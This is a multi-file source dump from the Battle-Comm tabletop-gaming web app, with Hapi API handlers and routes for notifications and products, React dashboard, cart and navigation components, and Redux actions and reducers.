'status': request.payload.status, 'fromId': request.payload.fromId, 'fromUsername': request.payload.fromUsername, 'fromName': request.payload.fromName } }).then(function (response) { var created = response[1]; if (created) { reply(response).code(200); } else { reply(_boom2.default.badRequest('Request already sent')); } }); }, update: function update(request, reply) { _models2.default.UserNotification.find({ 'where': { 'id': request.params.id } }).then(function (userNotification) { if (userNotification) { userNotification.updateAttributes({ 'UserId': request.payload.UserId, 'type': request.payload.type, 'status': request.payload.status }).then(function (response) { reply(response).code(200); }); } else { reply().code(404); } }); }, 'search': function search(request, reply) { var searchByConfig = void 0; var pageSize = request.payload.pageSize || 20; var searchQuery = request.payload.searchQuery || ''; var offset = (request.payload.pageNumber - 1) * pageSize; var orderBy = request.payload.orderBy ? request.payload.orderBy === 'updatedAt' || request.payload.orderBy === 'createdAt' ? [request.payload.orderBy, 'DESC'] : [request.payload.orderBy, 'ASC'] : undefined; if (searchQuery) { searchByConfig = request.payload.searchBy ? _defineProperty({ 'UserId': request.payload.UserId }, request.payload.searchBy, { '$iLike': '%' + searchQuery + '%' }) : { 'UserId': request.payload.UserId, '$or': [{ 'name': { '$iLike': '%' + searchQuery + '%' } }, { 'description': { '$iLike': '%' + searchQuery + '%' } }] }; } else { searchByConfig = { 'UserId': request.payload.UserId }; } _models2.default.UserNotification.findAndCountAll({ 'where': searchByConfig, 'order': orderBy ? [orderBy] : [], 'offset': offset, 'limit': pageSize }).then(function (response) { var count = response.count; var results = response.rows; var totalPages = Math.ceil(count === 0 ? 1 : count / pageSize); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }, delete: function _delete(request, reply) { _models2.default.UserNotification.destroy({ 'where': { 'id': request.params.id } }).then(function (response) { if (response) { reply().code(200); } else { reply().code(404); } }); } }; exports.default = userNotifications;<file_sep>/src/components/pages/players/PlayerDashboard.jsx 'use strict'; import React from 'react'; import {Link, withRouter} from 'react-router-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import axios from 'axios'; import {AlertActions} from '../../../library/alerts'; import {UserActions} from '../../../library/authentication'; import {FormActions} from '../../../library/validations'; import Modal from '../../../library/modal'; import {getFormErrorCount, Form, Input, Select, TextArea, CheckBox, RadioGroup, FileUpload} from '../../../library/validations'; import {handlers, uploadFiles} from '../../../library/utilities'; import ViewWrapper from '../../ViewWrapper'; import PlayerService from '../../../services/PlayerService'; import FileService from '../../../services/FileService'; import UserPhotoService from '../../../services/UserPhotoService'; const mapStateToProps = (state) => { return { 'forms': state.forms, 'user': state.user } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'modifyUser': UserActions.modify, 'resetForm': FormActions.resetForm }, dispatch); } class PlayerDashboard extends React.Component { constructor() { super(); this.state = { 'activeModal': 'none', 'currentUser': { 'UserAchievements': [], 'Files': [], 'Friends': [], 'GameSystemRankings': [] }, 'fileUploadIcon': [], 'fileUploadPhotoStream': [], 'isEditing': { 'bio': false, 'links': false }, 'photoStream': [] }; this.cancelEdit = this.cancelEdit.bind(this); this.createUserPhoto = this.createUserPhoto.bind(this); this.getCurrentPlayer = this.getCurrentPlayer.bind(this); this.getPlayerPhotoStream = this.getPlayerPhotoStream.bind(this); this.handlePhotoStreamUpload = this.handlePhotoStreamUpload.bind(this); this.handlePlayerIconUpload = this.handlePlayerIconUpload.bind(this); this.handleInputChange = this.handleInputChange.bind(this); this.savePlayer = this.savePlayer.bind(this); this.showAlert = this.showAlert.bind(this); this.uploadFiles = this.uploadFiles.bind(this); } componentDidMount() { document.title = "Battle-Comm | Player Dashboard"; this.getCurrentPlayer().then(() => { this.getPlayerPhotoStream(); }); } cancelEdit() { let isEditing = this.state.isEditing; for (let prop in isEditing) { isEditing[prop] = false; } this.setState({ 'isEditing': isEditing }); this.getCurrentPlayer(); } createUserPhoto(files) { this.uploadFiles([files[0]], 'playerIcon').then((responses) => { let file = { 'name': responses[0].data.file.name, 'size': responses[0].data.file.size, 'type': responses[0].data.file.type, 'UserId': this.state.currentUser.id, 'identifier': 'playerIcon', 'locationUrl': responses[0].data.file.locationUrl }; let fileName, iconFile; this.state.currentUser.Files.forEach((file) => { if (file.identifier === 'playerIcon') { iconFile = file; } }); let method = iconFile ? 'update': 'create'; UserPhotoService[method]((iconFile ? iconFile.id : file), (iconFile ? file : null)).then((file) => { this.getCurrentPlayer().then(() => { this.setState({ 'fileUploadIcon': [] }); this.showAlert('uploadSuccess'); this.props.resetForm('playerIconForm'); }); }); }).catch((err) => { console.log(err); }); } deletePhoto(id, index, e) { if (e) { e.preventDefault(); } this.handleDeleteFile(id).then(() => { let photos = this.state.photoStream; photos.splice(index, 1); this.setState({ 'photoStream': photos }); }); } getCurrentPlayer() { return PlayerService.getById(this.props.user.id).then((currentUser) => { this.setState({ 'currentUser': currentUser }); this.props.modifyUser(currentUser); }); } getPlayerIcon(player) { let userPhoto = player.UserPhoto; return userPhoto ? `/uploads/players/${player.id}/playerIcon/300-${player.UserPhoto.name}` : '/uploads/players/defaults/profile-icon-default.png'; } getPlayerPhotoStream() { let photos = this.state.currentUser.Files.filter((file) => file.identifier === 'photoStream'); this.setState({ 'photoStream': photos }); } handleDeleteFile(fileId) { return FileService.remove(fileId).then(() => { this.showAlert('fileRemoved'); }); } handlePlayerIconUpload(files) { if (this.state.currentUser.UserPhoto) { UserPhotoService.remove(this.state.currentUser.UserPhoto.id).then(() => { this.createUserPhoto(files); }).catch((error) => { console.log(error); this.createUserPhoto(files); }); } else { this.createUserPhoto(files); } } handlePhotoStreamUpload(files) { this.uploadFiles(files, 'photoStream').then((responses) => { let promises = []; responses.forEach((response, i) => { let file = { 'name': response.data.file.name, 'size': response.data.file.size, 'type': response.data.file.type, 'identifier': 'photoStream', 'UserId': this.state.currentUser.id, 'locationUrl': response.data.file.locationUrl }; promises.push(FileService.create(file)); }); axios.all(promises).then((files) => { let photos; files.forEach((file) => { photos = this.state.photoStream; photos.push(file); }); this.setState({ 'fileUploadPhotoStream': [], 'photoStream': photos }); this.showAlert('uploadSuccess'); this.props.resetForm('photoStreamUploadForm'); }); }); } handleInputChange(e) { this.setState({ 'currentUser': handlers.updateInput(e, this.state.currentUser) }); } handleSubmit(identifier) { return; } pageModal(index, direction, e) { e.preventDefault(); if (direction === 'forward') { index++; } else if (direction === 'backward') { index--; } if (index < 0) { index = this.state.photoStream.length - 1 } if (index > this.state.photoStream.length - 1) { index = 0; } this.setState({ 'activeModal': `photoStream-${index}` }); } savePlayer() { PlayerService.update(this.state.currentUser.id, this.state.currentUser).then((updatedUser) => { let isEditing = this.state.isEditing; for (let prop in isEditing) { isEditing[prop] = false; } this.setState({ 'isEditing': isEditing }); this.getCurrentPlayer(); this.showAlert('playerUpdated'); }); } showAlert(selector) { const alerts = { 'playerUpdated': () => { this.props.addAlert({ 'title': 'Profile Updated', 'message': `Your profile was successfully updated`, 'type': 'success', 'delay': 3000 }); }, 'fileRemoved': () => { this.props.addAlert({ 'title': 'Photo Deleted', 'message': 'A photo was successfully deleted from Photo Stream.', 'type': 'success', 'delay': 3000 }); }, 'uploadSuccess': () => { this.props.addAlert({ 'title': 'Upload Success', 'message': 'New files were successfully uploaded', 'type': 'success', 'delay': 3000 }); } } return alerts[selector](); } toggleEdit(identifier, e) { if (e) { e.preventDefault(); } let isEditing = this.state.isEditing; for (let prop in isEditing) { isEditing[prop] = false; } isEditing[identifier] = true; this.setState({ 'isEditing': isEditing }); this.getCurrentPlayer(); } toggleModal(name, e) { if (e) { e.preventDefault() }; this.setState({ 'activeModal': this.state.activeModal !== name ? name : 'none' }); } uploadFiles(files, identifier) { let directoryPath = `players/${this.state.currentUser.id}/${identifier}/`; return uploadFiles(files, '/files/add', directoryPath, { 'identifier': identifier }); } render() { let currentUser = this.state.currentUser; let isEditing = this.state.isEditing; let bioFormIsValid = getFormErrorCount(this.props.forms, 'bioForm') < 1; let linksFormIsValid = getFormErrorCount(this.props.forms, 'linksForm') < 1; return ( <ViewWrapper headerImage="/images/Titles/Player_Dashboard.png" headerAlt="Player Dashboard"> <div className="player-dashboard"> <div className="row wrap-reverse"> <div className="small-12 medium-6 columns"> <h2 className="no-shadow text-center">Player Bio</h2> <div className={isEditing.bio ? 'editable active': 'editable'}> <Form name="bioForm" handleSubmit={this.handleSubmit.bind(this, 'bio')} submitButton={false}> <div className="form-group"> <TextArea name="bio" id="bio" rows="4" value={currentUser.bio} maxlength="500" handleInputChange={this.handleInputChange} disabled={!isEditing.bio}/> </div> </Form> { isEditing.bio ? <div className="action-group"> <button className="cancel" onClick={this.cancelEdit}> <span className="fa fa-times"></span> </button> <button className="save" onClick={this.savePlayer} disabled={!bioFormIsValid}> <span className="fa fa-check"></span> </button> </div> : <div className="action-group"> <button className="edit" onClick={this.toggleEdit.bind(this, 'bio')}> <span className="fa fa-edit"></span> </button> </div> } </div> <h2 className="push-top-2x text-center">Social Links</h2> <div className={isEditing.links ? 'editable active': 'editable'}> <Form name="linksForm" handleSubmit={this.handleSubmit.bind(this, 'links')} submitButton={false}> <div className="form-group"> <label className="title bold">Facebook</label> { (isEditing.links || currentUser.facebook) && <Input name="facebook" type="url" id="facebook" placeholder="https://..." value={currentUser.facebook} handleInputChange={this.handleInputChange} disabled={!isEditing.links}/> } </div> <div className="form-group"> <label className="title bold">Twitter</label> { (isEditing.links || currentUser.twitter) && <Input name="twitter" type="url" id="twitter" placeholder="https://..." value={currentUser.twitter} handleInputChange={this.handleInputChange} disabled={!isEditing.links}/> } </div> <div className="form-group"> <label className="title bold">Instagram</label> { (isEditing.links || currentUser.instagram) && <Input name="instagram" type="url" id="instagram" placeholder="https://..." value={currentUser.instagram} handleInputChange={this.handleInputChange} disabled={!isEditing.links}/> } </div> <div className="form-group"> <label className="title bold">Twitch</label> { (isEditing.links || currentUser.twitch) && <Input name="twitch" type="url" id="twitch" placeholder="https://..." value={currentUser.twitch} handleInputChange={this.handleInputChange} disabled={!isEditing.links}/> } </div> <div className="form-group"> <label className="title bold">Google +</label> { (isEditing.links || currentUser.googlePlus) && <Input name="googlePlus" type="url" id="googlePlus" placeholder="https://..." value={currentUser.googlePlus} handleInputChange={this.handleInputChange} disabled={!isEditing.links}/> } </div> <div className="form-group"> <label className="title bold">Website</label> { (isEditing.links || currentUser.website) && <Input name="website" type="url" id="website" placeholder="https://..." value={currentUser.website} handleInputChange={this.handleInputChange} disabled={!isEditing.links}/> } </div> </Form> { isEditing.links ? <div className="action-group"> <button className="cancel" onClick={this.cancelEdit}> <span className="fa fa-times"></span> </button> <button className="save" onClick={this.savePlayer} disabled={!linksFormIsValid}> <span className="fa fa-check"></span> </button> </div> : <div className="action-group"> <button className="edit" onClick={this.toggleEdit.bind(this, 'links')}> <span className="fa fa-edit"></span> </button> </div> } </div> </div> <div className="small-12 medium-6 columns text-center"> <h2 className="no_shadow">{ currentUser.firstName ? (currentUser.firstName + ' ' + currentUser.lastName) : 'Anonymous'} </h2> <div className="text-center"> <h3 className="gold-label">RP Stash: <span><strong className="gold">{currentUser.rewardPoints || 0}</strong> Points</span></h3> <div className="flex-row-center push-top"> <div className="profile-picture"> <img src={this.getPlayerIcon.call(this, currentUser)} alt={currentUser.username} className="shadow"/> <Form name="playerIconForm" submitButton={false}> <FileUpload name="playerIcon" value={this.state.fileUploadIcon} handleFileUpload={this.handlePlayerIconUpload} accept="image/*" maxFiles={10} hideFileList={true}/> </Form> </div> </div> </div> <h1 className="push-top"><Link to={`/players/profile/${currentUser.username}`} className="username">{currentUser.username}</Link></h1> <div className=""> <p><Link to={`/players/dashboard/change-password`}>Change Password?</Link></p> </div> <div className="row push-top-2x"> <div className="small-12 columns text-center"> <Link to="/players/dashboard/account-edit"><h3 className="button account-details">Edit Account Details</h3></Link> </div> <div className="small-12 columns text-center"> <Link to="/subscribe"><h3 className="button secondary push-top">Become a BC Subscriber</h3></Link> </div> </div> </div> </div> <div className="row"> <div className="small-12 columns"> <h2>Allies <Link to={`/players/profile/${currentUser.username}/ally-search`} className="right">View All</Link></h2> <div className="friend-list"> { currentUser.Friends.map((friend, i) => <span key={friend.id} className="icon-box"> <Link to={`/players/profile/${friend.username}`}> <img className="icon" src={this.getPlayerIcon.call(this, friend)} /> <span className="name-label">{friend.firstName} {friend.lastName}</span> </Link> </span> ) } </div> { currentUser.Friends.length < 1 && <h4 className="text-center">Search by player profile and click 'Add Ally' to send a ally request.</h4> } </div> </div> <div className="row"> <div className="small-12 columns"> <h2>Achievements</h2> { currentUser.UserAchievements.length > 0 ? <div className="text-center achievements"> { currentUser.UserAchievements.slice(0, 10).map((achievement, i) => <Link to={`/achievements/${achievement.id}`} key={achievement.id} className="achievement"> <div className="achievement-title">{achievement.title}</div> <div><img src={achievement.File ? `${achievement.File.locationUrl}100-${achievement.File.name}` : '/uploads/achievements/100-defaultAchievement.png'} alt={achievement.name} /></div> { <div className="achievement-description"> <i className="fa fa-connectdevelop"></i> {achievement.description} </div> } </Link> ) } </div> : <h4 className="text-center">You have not yet been awarded any achievements.</h4> } </div> </div> <div className="row"> <div className="small-12 columns"> <h2>Ranking <Link to="/ranking/search/all" className="right"><span className="fa fa-list-ol"></span> Leaderboards</Link></h2> <div className="small-12 columns"> { currentUser.GameSystemRankings.length < 1 && <h4 className="text-center">Submit game results to a Battle-Comm participating event/venue administrator to have your ranking submitted to the BC leaderboards.</h4> } { currentUser.GameSystemRankings.map((gameRanking, i) => <div key={gameRanking.id} className="row"> <h4><Link to={`/ranking/search/${gameRanking.GameSystemId}`}>{gameRanking.GameSystem.name}</Link>: {gameRanking.totalWins}/{gameRanking.totalLosses}/{gameRanking.totalDraws}</h4> <table className="search-results"> <thead> <tr> <th>Game System</th> <th>Faction</th> <th>Ranking W/L/D</th> <th>Point Value</th> </tr> </thead> <tbody> { gameRanking.FactionRankings.map((factionRanking, j) => <tr key={factionRanking.id} className="item"> <td><Link to={`/ranking/search/${gameRanking.GameSystemId}`} className="color-black">{gameRanking.GameSystem.name}</Link></td> <td><Link to={`/ranking/search/${gameRanking.GameSystemId}/${factionRanking.FactionId}`} className="color-black">{factionRanking.Faction.name}</Link></td> <td>{factionRanking.totalWins}/{factionRanking.totalLosses}/{factionRanking.totalDraws}</td> <td>{factionRanking.pointValue}</td> </tr> ) } </tbody> </table> <hr /> </div> ) } </div> </div> </div> <div className="row"> <div className="small-12 columns"> <h2>Photo Stream</h2> <Form name="photoStreamUploadForm" submitButton={false}> <FileUpload name="photoStream" value={this.state.fileUploadPhotoStream} handleFileUpload={this.handlePhotoStreamUpload} accept="image/*" maxFiles={50} hideFileList={true}/> </Form> <hr/> <div className="text-center"> { this.state.photoStream.length > 0 ? <div className="photo-stream"> { this.state.photoStream.map((photo, i) => <div key={photo.id} className="photo-box"> <a onClick={this.toggleModal.bind(this, `photoStream-${i}`)}><img src={`/uploads/players/${this.state.currentUser.id}/photoStream/${photo.name}`}/></a> <Modal name={`photoStream-${i}`} title={`${this.state.currentUser.username}'s Photo Stream`} modalIsOpen={this.state.activeModal === `photoStream-${i}`} handleClose={this.toggleModal.bind(this, `photoStream-${i}`)} showClose={true} showCancel={false} confirmText="Delete?" handleSubmit={this.deletePhoto.bind(this, photo.id, i)}> <img src={`/uploads/players/${this.state.currentUser.id}/photoStream/${photo.name}`}/> <div className="actions"> <span className="fa fa-arrow-left" onClick={this.pageModal.bind(this, i, 'backward')}></span> <span className="fa fa-arrow-right" onClick={this.pageModal.bind(this, i, 'forward')}></span> </div> </Modal> </div> ) } </div> : <h4>Upload photos from you dashboard to share your table-top experience with friends.</h4> } </div> </div> </div> </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(PlayerDashboard)); <file_sep>/src/reducers/userMessages.js 'use strict'; import UserMessageConstants from '../constants/UserMessageConstants'; const userMessage = (state = {}, action) => { switch (action.type) { case UserMessageConstants.GET_USER_MESSAGE: return Object.assign({}, state, action.data); case UserMessageConstants.CREATE_USER_MESSAGE: return Object.assign({}, state, action.data); case UserMessageConstants.UPDATE_USER_MESSAGE: return Object.assign({}, state, action.data); default: return state; } }; const userMessages = (state = [], action) => { switch (action.type) { case UserMessageConstants.GET_USER_MESSAGES: return [...action.data]; case UserMessageConstants.CREATE_USER_MESSAGE: return [ ...state, userMessage(undefined, action) ]; case UserMessageConstants.REMOVE_USER_MESSAGE: let userMessageArray = [...state]; let index = state.findIndex((userMessage) => userMessage.id === action.data); if (index !== -1) { userMessageArray.splice(index, 1); } return userMessageArray; default: return state; } } export { userMessage, userMessages }; <file_sep>/src/library/utilities/unCamel.js 'use strict'; export default function(prop) { return prop.charAt(0).toUpperCase() + prop.substr(1).replace(/[A-Z]/g, ' $&'); } <file_sep>/src/actions/UserNotificationActions.js 'use strict'; import UserNotificationConstants from '../constants/UserNotificationConstants'; import UserNotificationService from '../services/UserNotificationService'; const _initiateRequest = (type, data) => { return { 'type': type, 'data': data }; }; const _returnResponse = (type, data) => { return { 'type': type, 'data': data, 'receivedAt': Date.now() }; }; export default { getByUserId: (id) => { return (dispatch) => { dispatch(_initiateRequest(UserNotificationConstants.INITIATE_USER_NOTIFICATION_REQUEST)); return UserNotificationService.getByUserId(criteria).then((response) => { dispatch(_returnResponse(UserNotificationConstants.GET_USER_NOTIFICATIONS, response.results)); return response.pagination; }); }; }, search: (criteria) => { return (dispatch) => { dispatch(_initiateRequest(UserNotificationConstants.INITIATE_USER_NOTIFICATION_REQUEST)); return UserNotificationService.search(criteria).then((response) => { dispatch(_returnResponse(UserNotificationConstants.GET_USER_NOTIFICATIONS, response.results)); return response.pagination; }); }; }, create: (data) => { return (dispatch) => { dispatch(_initiateRequest(UserNotificationConstants.INITIATE_USER_NOTIFICATION_REQUEST)); return UserNotificationService.create(data).then((userNotification) => { dispatch(_returnResponse(UserNotificationConstants.CREATE_USER_NOTIFICATION, userNotification)); return userNotification; }); }; }, update: (id, data) => { return (dispatch) => { dispatch(_initiateRequest(UserNotificationConstants.INITIATE_USER_NOTIFICATION_REQUEST)); return UserNotificationService.update(id, data).then((userNotification) => { dispatch(_returnResponse(UserNotificationConstants.UPDATE_USER_NOTIFICATION, userNotification)); return userNotification; }); }; }, remove: (id) => { return (dispatch) => { dispatch(_initiateRequest(UserNotificationConstants.INITIATE_USER_NOTIFICATION_REQUEST, id)); return UserNotificationService.remove(id).then((response) => { dispatch(_returnResponse(UserNotificationConstants.REMOVE_USER_NOTIFICATION, id)); return response; }); }; } }; <file_sep>/server/routes/index.js 'use strict'; module.exports = [] .concat(require('./api/achievements')) .concat(require('./api/bannerSlides')) .concat(require('./api/factions')) .concat(require('./api/files')) .concat(require('./api/gameSystems')) .concat(require('./api/manufacturers')) .concat(require('./api/newsPosts')) .concat(require('./api/payments')) .concat(require('./api/productOrders')) .concat(require('./api/products')) .concat(require('./api/rankings')) .concat(require('./api/users')) .concat(require('./api/userFriends')) .concat(require('./api/userAchievements')) .concat(require('./api/userNotifications')) .concat(require('./api/userPhotos')) .concat(require('./api/venues')); <file_sep>/src/library/validations/utilities/getFormErrorCount.js 'use strict'; const getFormErrorCount = (forms, formName) => { let count = 0; if (!forms[formName]) { return 0; } forms[formName].inputs.forEach((input) => { if (input.valid === false) { count++; } }); return count; } export default getFormErrorCount; <file_sep>/src/components/pieces/CartSummary.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import { Link } from 'react-router-dom'; import {CSSTransitionGroup as Animation} from 'react-transition-group'; import PropTypes from 'prop-types'; import {CartActions} from '../../library/cart'; const mapStateToProps = (state) => { return { 'cartItems': state.cartItems, 'user': state.user } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addToCart': CartActions.add, 'removeFromCart': CartActions.remove }, dispatch); } class CartSummary extends React.Component { constructor(props) { super(props); this.state = { 'showCart': false } this.toggleCart = this.toggleCart.bind(this); } componentDidMount() {} getOrderTotal(items) { let total = 0; items.forEach((item) => { total += parseInt(item.product.price, 10) * parseInt(item.cartQty, 10); }); return total; } removeItem(productId) { this.props.removeFromCart(productId); } toggleCart() { this.setState({ 'showCart': !this.state.showCart }); } render() { return ( <li className="mini-cart"> <a className="menu-link cart-button" onClick={this.toggleCart}><span className="fa fa-shopping-cart"></span></a> <div className={this.state.showCart ? 'cart-summary show' : 'cart-summary'} > <div className="header"> <h2>Cart Summary</h2> <span className="fa fa-times-circle-o pointer" onClick={this.toggleCart}></span> </div> <div className="body"> { this.props.cartItems.length > 0 ? <table className="stack hover text-center"> <thead> <tr> <th className="text-center">Name</th> <th className="text-center">Price</th> <th className="text-center">Qty</th> <th className="text-center">Remove?</th> </tr> </thead> <tbody> { this.props.cartItems.map((item, i) => <tr key={i} className="item-row"> <td>{`${item.product.name.substring(0, 15)}...`}</td> <td>{item.product.price} RP</td> <td>({item.cartQty})</td> <td className="pointer" onClick={this.removeItem.bind(this, item.product.id)}><span className="fa fa-times-circle-o"></span></td> </tr> ) } </tbody> </table> : <h3 className="text-center push-top-2x">There are currently no items in the cart</h3> } </div> <div className="footer"> <h5>Current Reward Points: <strong>{this.props.user.rewardPoints} RP</strong></h5> <h4>Order Total: <strong>{this.getOrderTotal.call(this, this.props.cartItems)} RP</strong></h4> <div className="actions" onClick={this.toggleCart}> <Link to="/store/cart" className="button primary">View Cart</Link> <Link to="/store/checkout" className="button secondary">Checkout</Link> </div> </div> </div> </li> ) } } CartSummary.propTypes = { // 'cartItems': PropTypes.shape({ // // }) } CartSummary.defaultProps = { } export default connect(mapStateToProps, mapDispatchToProps)(CartSummary); <file_sep>/src/components/pieces/TopNav.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {Link, withRouter} from 'react-router-dom'; import {connect} from 'react-redux'; import classNames from 'classnames'; import {CSSTransitionGroup as Animation} from 'react-transition-group'; import {AlertActions} from '../../library/alerts'; import {UserActions} from '../../library/authentication'; import AccountMenu from './AccountMenu'; import CartSummary from './CartSummary'; const mapStateToProps = (state) => { return { 'user': state.user, 'isAuthenticated': state.isAuthenticated } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'logout': UserActions.logout, 'setRedirect': UserActions.setRedirect }, dispatch); }; class TopNav extends React.Component { constructor() { super(); this.state = { 'showMobileMenu': false } this.closeMenu = this.closeMenu.bind(this); this.toggleMenu = this.toggleMenu.bind(this); this.logout = this.logout.bind(this); this.showAlert = this.showAlert.bind(this); } closeMenu() { this.setState({ 'showMobileMenu': false }); } toggleMenu() { this.setState({ 'showMobileMenu': !this.state.showMobileMenu }); } logout() { this.props.logout(); // TODO: Set redirect doesn't seem to be working. this.props.setRedirect(false); this.showAlert('logoutSuccess'); this.props.history.push('/'); } showAlert(selector) { const alerts = { 'logoutSuccess': () => { this.props.addAlert({ 'title': 'Logout Success', 'message': 'You have been successfully logged out.', 'type': 'success', 'delay': 3000 }); } } return alerts[selector](); } render() { let backdropClasses = classNames({ 'menu-backdrop': true, 'show': this.state.showMobileMenu }); let toggleClasses = classNames({ 'on': this.state.showMobileMenu }); return ( <div className="nav"> <div className="menu-toggle" onClick={this.toggleMenu}> <i id="toggle" className={toggleClasses}><span></span></i> </div> <div className="login-menu-mobile"> { this.props.isAuthenticated && <CartSummary></CartSummary> } { this.props.isAuthenticated ? <AccountMenu logout={this.logout}></AccountMenu> : <div className="login-link"> <Link key="login" to="/login" className="menu-link">Login</Link> </div> } </div> <Animation transitionName="slide-top" className="animation-wrapper" transitionEnter={true} transitionEnterTimeout={250} transitionLeave={true} transitionLeaveTimeout={250}> <div className="menu-group" key="menu" onClick={this.closeMenu}> <ul className="main-menu"> <li className="home"> <Link key="home" to="/" className="menu-link">Home</Link> </li> <li className="news"> <Link key="news" to="/news" className="menu-link">News</Link> </li> <li className="ranking"> <Link key="ranking" to="/ranking/search/all" className="menu-link">Ranking</Link> </li> <li className="players"> <Link key="players" to="/players" className="menu-link">Players</Link> </li> <li className="store"> <Link key="store" to="/store" className="menu-link">Store</Link> </li> </ul> <ul className="login-menu"> { this.props.isAuthenticated && <CartSummary></CartSummary> } { this.props.isAuthenticated ? <AccountMenu logout={this.logout}></AccountMenu> : <li className="login-link"> <Link key="login" to="/login" className="menu-link">Login</Link> </li> } </ul> </div> { this.state.showMobileMenu && <div className="mobile-menu-group" key="mobile-menu" onClick={this.closeMenu}> <ul className="main-menu"> <li className=""> <Link key="home" to="/" className="menu-link">Home</Link> </li> <li className=""> <Link key="news" to="/news" className="menu-link">News</Link> </li> <li className=""> <Link key="ranking" to="/ranking/search/all" className="menu-link">Ranking</Link> </li> <li className=""> <Link key="players" to="/players" className="menu-link">Players</Link> </li> <li className=""> <Link key="store" to="/store" className="menu-link">Store</Link> </li> </ul> <ul className="login-menu"> { this.props.isAuthenticated && <CartSummary></CartSummary> } { this.props.isAuthenticated ? <AccountMenu logout={this.logout}></AccountMenu> : <li className="login-link"> <Link key="login" to="/login" className="menu-link">Login</Link> </li> } </ul> </div> } </Animation> <div className={backdropClasses} onClick={this.closeMenu}></div> </div> ); } } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(TopNav)); <file_sep>/compiled-server/routes/api/products.js 'use strict'; var _joi = require('joi'); var _joi2 = _interopRequireDefault(_joi); var _handlers = require('../handlers'); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } module.exports = [ // Products { 'method': 'GET', 'path': '/api/products/{id}', 'config': { 'tags': ['api'], 'description': 'Get one product by id', 'notes': 'Get one product by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() } } }, 'handler': _handlers.products.get }, { 'method': 'GET', 'path': '/api/products', 'config': { 'tags': ['api'], 'description': 'Get all products', 'notes': 'Get all products', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] } }, 'handler': _handlers.products.getAll }, { 'method': 'POST', 'path': '/api/products', 'config': { 'tags': ['api'], 'description': 'Add a new product', 'notes': 'Add a new product', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'payload': { 'ManufacturerId': _joi2.default.optional(), 'GameSystemId': _joi2.default.optional(), 'FactionId': _joi2.default.optional(), 'Files': _joi2.default.optional(), 'SKU': _joi2.default.string().required(), 'name': _joi2.default.string().required(), 'price': _joi2.default.number().integer().required(), 'shippingCost': _joi2.default.number().precision(2).required(), 'description': _joi2.default.string().required(), 'color': _joi2.default.optional(), 'tags': _joi2.default.string(), 'category': _joi2.default.string(), 'stockQty': _joi2.default.number().required(), 'isInStock': _joi2.default.optional(), 'filterVal': _joi2.default.optional(), 'isDisplayed': _joi2.default.boolean().required(), 'isFeatured': _joi2.default.boolean().required(), 'isNew': _joi2.default.boolean().required(), 'isOnSale': _joi2.default.boolean().required() } } }, 'handler': _handlers.products.create }, { 'method': 'PUT', 'path': '/api/products/{id}', 'config': { 'tags': ['api'], 'description': 'Update a product by id', 'notes': 'Update a product by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() }, 'payload': { 'ManufacturerId': _joi2.default.optional(), 'GameSystemId': _joi2.default.optional(), 'FactionId': _joi2.default.optional(), 'Files': _joi2.default.optional(), 'id': _joi2.default.optional(), 'updatedAt': _joi2.default.optional(), 'createdAt': _joi2.default.optional(), 'SKU': _joi2.default.string().required(), 'name': _joi2.default.string().required(), 'price': _joi2.default.number().integer().required(), 'shippingCost': _joi2.default.number().precision(2).required(), 'description': _joi2.default.string().required(), 'color': _joi2.default.optional(), 'tags': _joi2.default.string().required(), 'category': _joi2.default.string().required(), 'stockQty': _joi2.default.number().required(), 'isInStock': _joi2.default.optional(), 'filterVal': _joi2.default.optional(), 'isDisplayed': _joi2.default.boolean().required(), 'isFeatured': _joi2.default.boolean().required(), 'isNew': _joi2.default.boolean().required(), 'isOnSale': _joi2.default.boolean().required() } } }, 'handler': _handlers.products.update }, { 'method': 'PUT', 'path': '/api/products/stockQty/update', 'config': { 'tags': ['api'], 'description': 'Update a product stock by id', 'notes': 'Update a product stock by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'payload': { 'direction': _joi2.default.string().valid('increment', 'decrement').required(), 'products': _joi2.default.array().items(_joi2.default.object().keys({ 'id': _joi2.default.number().required(), 'qty': _joi2.default.number().required() })) } } }, 'handler': _handlers.products.updateStock }, { 'method': 'POST', 'path': '/api/search/products', 'config': { 'tags': ['api'], 'description': 'Return product search results', 'notes': 'Return product search results', 'validate': { 'payload': { 'maxResults': _joi2.default.optional(), 'searchQuery': _joi2.default.optional(), 'searchBy': _joi2.default.optional(), 'orderBy': _joi2.default.string().required(), 'pageNumber': _joi2.default.number().required(), 'pageSize': _joi2.default.optional(), 'minPrice': _joi2.default.optional(), 'maxPrice': _joi2.default.optional(), 'manufacturerId': _joi2.default.optional(), 'gameSystemId': _joi2.default.optional(), 'storeView': _joi2.default.boolean().required() } } }, 'handler': _handlers.products.search }, { 'method': 'DELETE', 'path': '/api/products/{id}', 'config': { 'tags': ['api'], 'description': 'Delete a product by id', 'notes': 'Delete a product by id', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['systemAdmin'] }, 'validate': { 'params': { 'id': _joi2.default.number().required() } } }, 'handler': _handlers.products.delete 